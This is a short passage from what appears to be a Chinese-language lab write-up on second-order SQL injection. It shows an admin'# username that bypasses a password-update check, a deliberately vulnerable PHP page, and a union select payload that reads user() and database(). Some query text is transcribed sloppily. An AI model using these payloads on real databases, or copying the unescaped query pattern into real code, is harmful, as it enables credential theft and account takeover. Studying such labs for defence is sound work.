$ sql = "UPDATE users SET PASSWORD='$ pass' where username='$ username' and password='$ curr_pass' ";
$ sql = "UPDATE users SET PASSWORD=’$ pass’ where username=’admin‘#’ and password=’$ curr_pass’ ";
$ sql = "UPDATE users SET PASSWORD=’$ pass’ where username=’admin‘
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。下列字符受影响:\x00\n\r\'"\x1a
<?phpinclude("../sql-connections/sql-connect.php");error_reporting(0);$sql="SELECT * FROM users ORDER BY id";$result=mysql_query($sql);$num=mysql_num_rows($result);for ($i=0; $i < $num; ++$i) { $row = mysql_fetch_array($result);$username = $row[1];$sql_detail = "SELECT * FROM users where username='$username'";$result_detail=mysql_query($sql_detail);$num_detail = mysql_num_rows($result_detail);for ($j=0; $j < $num_detail; ++$j) { $row_detail = mysql_fetch_array($result_detail);echo<<<END<table border="1" style="table-layout:fixed;" width="1000">
<tr>
<th>$row_detail[1]</th><th>$row_detail[2]</th></tr></table>
END;
}}?>
$ username = $row[1]; $ sql_detail = "SELECT * FROM users where username='$ username'";
我们的username传入进去
$ sql_detail = “SELECT * FROM users where username=’1’ union select 1,user(),database() #’”;
也就是语句变成了
$ sql_detail = “SELECT * FROM users where username=union select 1,user(),database() ”;
我们从表里就打印出了账号和密码这张表。